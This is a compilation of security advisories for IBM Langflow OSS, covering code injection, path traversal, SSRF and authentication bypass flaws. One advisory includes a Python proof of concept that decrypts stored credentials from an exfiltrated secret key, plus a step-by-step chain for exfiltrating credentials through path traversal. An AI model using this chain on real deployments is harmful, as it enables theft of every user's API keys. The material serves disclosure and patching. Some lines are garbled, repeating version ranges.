IBM Langflow OSS 1.0.0 through 1.10.3 could allow a remote attacker to inject arbitrary code on the system, due to the improper control of user input code.
IBM Langflow OSS 1.0.0 through 1.10.3 could allow an authenticated attacker to execute arbitrary code due to a cryptographic weakness in the custom component validation mechanism. When the optional hardening mode that restricts execution to trusted component templates is enabled, the application validates component code using a truncated SHA‑256 hash. Because the hash comparison relies on only a portion of the digest, an attacker can craft malicious component code that collides with a trusted template hash and bypasses validation. Successful exploitation allows the attacker to introduce and execute unauthorized Python code within the Langflow process, defeating the intended security control and potentially leading to full compromise of the affected instance.
IBM Langflow OSS 1.0.0 through 1.10.3 could allow a remote authenticated attacker to execute arbitrary code due to code injection.
IBM Langflow OSS 1.0.0 through 1.10.3 could allow a remote authenticated attacker to execute arbitrary code due to improper validation of Python code during AST-based security scanning.
IBM Langflow OSS 1.0.0 through 1.10.3, 1.0.0 through 1.10.3, 1.0.0 through 1.10.3, 1.0.0 through 1.10.3, 1.0.0 through 1.10.3, 1.0.0 through 1.10.3, and 1.0.0 through 1.10.3 could allow a remote authenticated attacker to execute arbitrary code due to improper validation of module imports.
IBM Langflow OSS 1.0.0 through 1.10.3 installations allow anyone on the internet to execute arbitrary code on the server without any credentials via 2 HTTP requests.
IBM Langflow OSS 1.0.0 through 1.10.3 could allow an authenticated attacker to execute unintended code during Agentic Assistant validation due to improper handling of LLM‑generated components. The application executes model‑generated Python code in the backend during validation prior to user approval, which may allow an attacker to trigger side effects such as outbound network access, file system interaction, or data exfiltration with the privileges of the Langflow backend process.
IBM Langflow OSS 1.0.0 through 1.10.3 could allow a remote authenticated attacker to execute arbitrary code due to improper limitation of a pathname to a restricted directory.
IBM Langflow OSS 1.0.0 through 1.10.3 does not properly validate ownership in the deprecated POST /api/v1/build/{flowid}/vertices endpoint, allowing an authenticated user to inject arbitrary graph data into a shared cache for any flow. This may result in cross-user cache pollution, unauthorized workflow execution, or denial of service.
IBM Langflow OSS 1.0.0 through 1.10.3, 1.0.0 through 1.10.3, 1.0.0 through 1.10.3, 1.0.0 through 1.10.3, 1.0.0 through 1.10.3, and 1.0.0 through 1.10.3 could allow a remote attacker to traverse directories on the system. An attacker could send a specially crafted URL request containing "dot dot " sequences ( /.. /) to v i ew arbitrary files on the system.
IBM Langflow OSS 1.0.0 through 1.10.3 contain an authorization bypass vulnerability in the MemoryComponent that allows authenticated users to access chat history of other users via sessionid collision. The MemoryComponent.retrievemessages and storemessage methods filter on sessionid without validating flowid or userid ownership, enabling cross-user information disclosure through multiple authenticated API endpoints including /api/v1/run/, /api/v1/responses, and /api/v2/workflow/. This vulnerability only affects multi-user deployments with LANGFLOWAUTOLOGIN=False.
IBM Langflow OSS 1.0.0 through 1.10.3 does not properly validate the username field, allowing attackers to inject path traversal sequences and bypass containment checks. This enables multiple severe impacts, including arbitrary directory deletion, cross-tenant data destruction, and JWT signing key deletion leading to session invalidation.
IBM Langflow OSS 1.0.0 through 1.10.3 is vulnerable to Path Traversal in the Knowledge Bases API (POST /api/v1/knowledgebases). This occurs because user-supplied knowledge base names are used directly to create file paths without proper sanitization or containment checks. An authenticated attacker can exploit this flaw to create directories and write files anywhere on the server's filesystem.
IBM Langflow OSS 1.0.0 through 1.10.3 could allow a remote authenticated attacker to execute arbitrary commands due to improper validation of the command field in MCP server configurations.
IBM Langflow OSS 1.0.0 through 1.10.3 could allow a remote attacker to execute arbitrary code due to improper validation of configuration parameters.
IBM Langflow OSS 1.0.0 through 1.10.3 Langflow could allow an authenticated attacker to read, modify, or expose sensitive host files via Docker-based MCP servers due to incomplete filtering of dangerous Docker volume-mount and device-mapping arguments.
IBM Langflow OSS 1.0.0 through 1.10.3, 1.0.0 through 1.10.3, 1.0.0 through 1.10.3, 1.0.0 through 1.10.3, 1.0.0 through 1.10.3, 1.0.0 through 1.10.3, and 1.0.0 through 1.10.3 could allow a remote authenticated attacker to execute arbitrary commands due to improper neutralization of special elements used in an OS command.
IBM Langflow OSS 1.0.0 through 1.10.3 Langflow allows remote authenticated attackers to bypass localhost-only restrictions and write arbitrary MCP server configurations to IDE configuration files on the host system.
IBM Langflow OSS 1.0.0 through 1.10.3 contain an authentication bypass vulnerability in the Model Context Protocol (MCP) composer endpoint when mcpcomposerenabled=true (default) and projects are configured with authtype=oauth .
IBM Langflow OSS 1.0.0 through 1.10.3 allows users to read arbitrary files from the server filesystem, including other users' uploaded documents, the JWT signing secret, the SQLite database, and process environment variables, by sending a crafted MCP resources/read request with a URL-encoded path traversal sequence in the filename.
Summary
Langflow uses Python's random module (Mersenne Twister, a non-cryptographic PRNG) seeded with the SECRETKEY to derive the Fernet encryption key for all stored user credentials (API keys, LLM provider secrets, database passwords). When the SECRETKEY is shorter than 32 characters — a common scenario for self-hosted deployments using simple/memorable secrets — the derived encryption key is fully deterministic and reproducible by anyone who knows the seed value. An attacker who obtains the SECRETKEY (e.g., via the MCP path traversal in this repo) can reconstruct the exact Fernet key offline and decrypt every credential stored in the database with no brute force required.
Even when SECRETKEY is 32+ characters (the "safe" branch), the raw key material is used directly as the Fernet key — meaning exfiltrating the secretkey file is sufficient to decrypt all credentials without any additional computation.
Severity: Critical — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N (9.1) CWE-338: Weak PRNG | CWE-321: Hard-coded Cryptographic Key | CWE-311: Missing Encryption of Sensitive Data
Details
Root cause: src/backend/base/langflow/services/auth/service.py, lines 651–663
python MINIMUMKEYLENGTH = 32
def ensurevalidkey(self, rawkey: str) -> bytes: if len(rawkey) < MINIMUMKEYLENGTH: random.seed(rawkey) # Non-cryptographic PRNG seeded with the secret key = bytes(random.getrandbits(8) for in range(32)) # Fully deterministic output key = base64.urlsafeb64encode(key) else: key = self.addpadding(rawkey).encode() # Raw secret IS the Fernet key return key
def getfernet(self) -> Fernet: secretkey = self.settings.authsettings.SECRETKEY.getsecretvalue() validkey = self.ensurevalidkey(secretkey) return Fernet(validkey)
The identical logic is duplicated in src/backend/base/langflow/services/auth/utils.py, lines 292–318 (called by DatabaseVariableService.createvariable and updatevariable).
What is encrypted under this key: All variables stored with type = "Credential" — this is the default for OpenAI API keys, Anthropic API keys, and any secret stored via the Variables UI or API:
python services/variable/service.py encryptedvalue = authutils.encryptapikey(value) if type == CREDENTIALTYPE else value
Why this is critical in combination with the MCP path traversal: The secretkey file is stored at /app/data/.cache/langflow/secretkey — readable via the MCP path traversal vulnerability. Once exfiltrated: - If len(secretkey) < 32: run random.seed(secretkey) → derive identical key → decrypt all credentials instantly - If len(secretkey) >= 32: pad the key directly → decrypt all credentials instantly
No brute force needed in either case once the file is read.
PoC
python #!/usr/bin/env python3 Requires: pip install cryptography
import random import base64 from cryptography.fernet import Fernet
--- Scenario A: SHORT secret key (< 32 chars) --- triggers vulnerable PRNG branch def decryptshortkey(secretkey: str, ciphertext: str) -> str: random.seed(secretkey) keybytes = bytes(random.getrandbits(8) for in range(32)) fernetkey = base64.urlsafeb64encode(keybytes) return Fernet(fernetkey).decrypt(ciphertext.encode()).decode()
--- Scenario B: LONG secret key (>= 32 chars) --- key exfiltration scenario def decryptlongkey(secretkey: str, ciphertext: str) -> str: paddingneeded = 4 - len(secretkey) % 4 padded = secretkey + "=" paddingneeded return Fernet(padded.encode()).decrypt(ciphertext.encode()).decode()
Values obtained from /app/data/.cache/langflow/secretkey (exfiltrated) and from SELECT value FROM variable WHERE type='Credential' in langflow.db SECRETKEY = "DJMcAXyLbLrKRmPRTBNlJzY4gkbe3g1lyDgJ90c8p0E" # 43 chars → long branch CIPHERTEXT = "gAAAAABpux-Gz3PFcaPJF1aqZAUfB76OomPJ8rvp9Q8hKvBVGGgvSIdWwgknXqO0rVUbfSiflKFp6wDdeU9uWysPsKPLBri5ZOPAAP2c5EKkx5vtc1M="
plaintext = decryptlongkey(SECRETKEY, CIPHERTEXT) print(f"Decrypted credential: {plaintext}") Output: sk-test-SENTINEL-VALUE-12345
Confirmed on Langflow v1.7.3: - Database path: /app/.venv/lib/python3.12/site-packages/langflow/langflow.db - Two Credential-type variables found in the variable table - Both decrypted successfully: "dummy" and "sk-test-SENTINEL-VALUE-12345" - The sentinel value (sk-test-SENTINEL-VALUE-12345) was stored via the API and immediately recovered from raw DB ciphertext using only the exfiltrated secretkey
End-to-end chain (with MCP path traversal): bash Step 1: Exfiltrate secretkey via MCP path traversal (no admin required, any authenticated user) Step 2: Query DB credentials via path traversal (SQLite file readable) Step 3: Decrypt offline — zero brute force, instant python3 pocdecrypt.py "$SECRETKEY" "$CIPHERTEXT" → all stored API keys revealed
Impact
All stored user credentials are at risk in any Langflow deployment where an attacker can read the secretkey file. Combined with the MCP path traversal vulnerability, this creates a complete remote credential exfiltration chain requiring only a low-privilege account:
- OpenAI, Anthropic, and other LLM provider API keys stored by any user are decryptable - Database connection strings and passwords stored as credentials are exposed - OAuth tokens and webhook secrets stored via the Variables UI are exposed - All users on the instance are affected — credentials are stored per-user in the shared database but all encrypted under the same instance-wide SECRETKEY
In multi-tenant or enterprise Langflow deployments, a single attacker account is sufficient to exfiltrate every credential stored by every user on the instance. The attack is fully offline after the two file reads (secretkey + database), leaving no server-side log traces.
Fix
Fixed in v1.10.1 by PR #13704 (commit 094694d3f2).
ensurefernetkey() (src/backend/base/langflow/services/auth/utils.py) no longer seeds Python's non-cryptographic random module for short SECRETKEY values. The 32-byte key is now derived deterministically with SHA-256:
python def ensurefernetkey(secretkey: str) -> bytes: if len(secretkey) < MINIMUMSECRETKEYLENGTH: digest = hashlib.sha256(secretkey.encode()).digest() # 32 bytes key = base64.urlsafeb64encode(digest) else: key = addbase64padding(secretkey).encode() return key
Backward-compatible decryption of ciphertext written under the old PRNG-derived key is preserved via getfernetfordecryption(), which returns a MultiFernet trying the new SHA-256 key first and a legacy key second. The legacy key is reproduced with a local random.Random(secretkey) instance (not the global random module), so it can decrypt old data without ever being usable to derive new keys or mutating global PRNG state. All new encryption goes through the SHA-256 key only.
Affected versions: <= 1.10.0 Patched version: 1.10.1
Operator note: deployments running with a SECRETKEY shorter than 32 characters derive a different Fernet key after upgrading to 1.10.1+ and must re-enter previously stored credentials (existing ciphertext is still readable for migration, but new writes use the new key). The default generated SECRETKEY (secrets.tokenurlsafe(32), 43 characters) takes the long-key branch and was never affected by the PRNG issue.
IBM Langflow OSS 1.0.0 through 1.10.3, 1.0.0 through 1.10.3, 1.0.0 through 1.10.3, and 1.0.0 through 1.10.3 use Python's non-cryptographic random module for generating Fernet encryption keys from user secrets under 32 characters. The deterministic Mersenne Twister PRNG produces identical keys for identical seeds, allowing attackers to reproduce encryption keys and decrypt stored API keys and authentication tokens.
IBM Langflow OSS 1.0.0 through 1.10.3 allows authenticated users can exploit a built-in Langflow component to read arbitrary server environment variables, exposing sensitive secrets despite security controls intended to disable custom components.
Langflow OSS is vulnerable to SQL injection. A remote attacker could send specially crafted SQL statements, which could allow the attacker to view, add, modify, or delete information in the back-end database.
IBM Langflow OSS 1.0.0 through 1.10.3, and 1.0.0 through 1.10.3 contains a Server-Side Request Forgery (SSRF) vulnerability in the validatemodelproviderkey() function for the Ollama provider. The function accepts a user-supplied OLLAMABASEURL parameter and passes it directly to requests.get() without validation, scheme/host allowlisting, or filtering of private IP ranges (loopback, RFC1918, link-local addresses).
IBM Langflow OSS 1.0.0 through 1.10.3 Langflow could allow server-side request forgery (SSRF) due to incomplete and ineffective SSRF protection enforcement.